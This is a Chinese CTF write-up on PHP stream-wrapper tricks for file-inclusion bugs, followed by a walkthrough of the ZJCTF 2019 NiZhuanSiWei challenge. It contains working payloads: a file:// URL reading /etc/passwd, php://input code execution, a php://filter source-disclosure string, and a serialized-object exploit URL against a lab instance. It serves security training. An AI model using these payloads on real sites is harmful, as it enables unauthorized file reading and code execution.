ctf之php伪协议的使用

1. 知识点

1.1 php://filter

获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

1.1.1 过滤器

1.1.1.1 字符串过滤器

该类通常以string开头,对每个字符都进行同样方式的处理。

  • string.rot13

一种字符处理方式,字符右移十三位。

  • string.toupper

将所有字符转换为大写。

  • string.tolower

将所有字符转换为小写。

  • string.strip_tags
    这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
1.1.1.2 转换过滤器

对数据流进行编码,通常用来读取文件源码。

  • convert.base64-encode & convert.base64-decode

base64加密解密

  • convert.quoted-printable-encode & convert.quoted-printable-decode

可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。

1.1.1.3 压缩过滤器

用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compress和 bzip2.decompress工作的方式与 zlib 过滤器大致相同。

1.1.1.4 加密过滤器

mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。

1.2 data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

1.3 file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword

1.4 php://

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流

1.5 php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的

遇到file_get_contents()要想到用php://input绕过。

1.6 zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。


前面的知识点太烦了,还是贴一点做题记录罢

2. 题目

直接复制每个题目名就可以搜到了

2.1 [ZJCTF 2019]NiZhuanSiWei 1

在这里插入图片描述
打开题目,发现就是个代码审计的题目。
首先需要传入text,file,password等参数
text这个参数直接传入welcome to the zjctf就行了
构造payload:

?text=data://text/plain,welcome to the zjctf

或者:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

提示里面有一个useless.php文件,我们用php伪协议来看看里面有些什么:

file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
对下面的字符串解码看看:
在这里插入图片描述
接着对Flag序列化:
运行下面的代码:

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$passwords = new Flag();

echo serialize($passwords);
?>  

运行后结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终构造的payload为:

http://03748dff-ca86-4f02-9ce0-65db8464d293.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

在最后显示的界面上查看源码:
在这里插入图片描述
flag就在里面了

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一只菜鸟呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值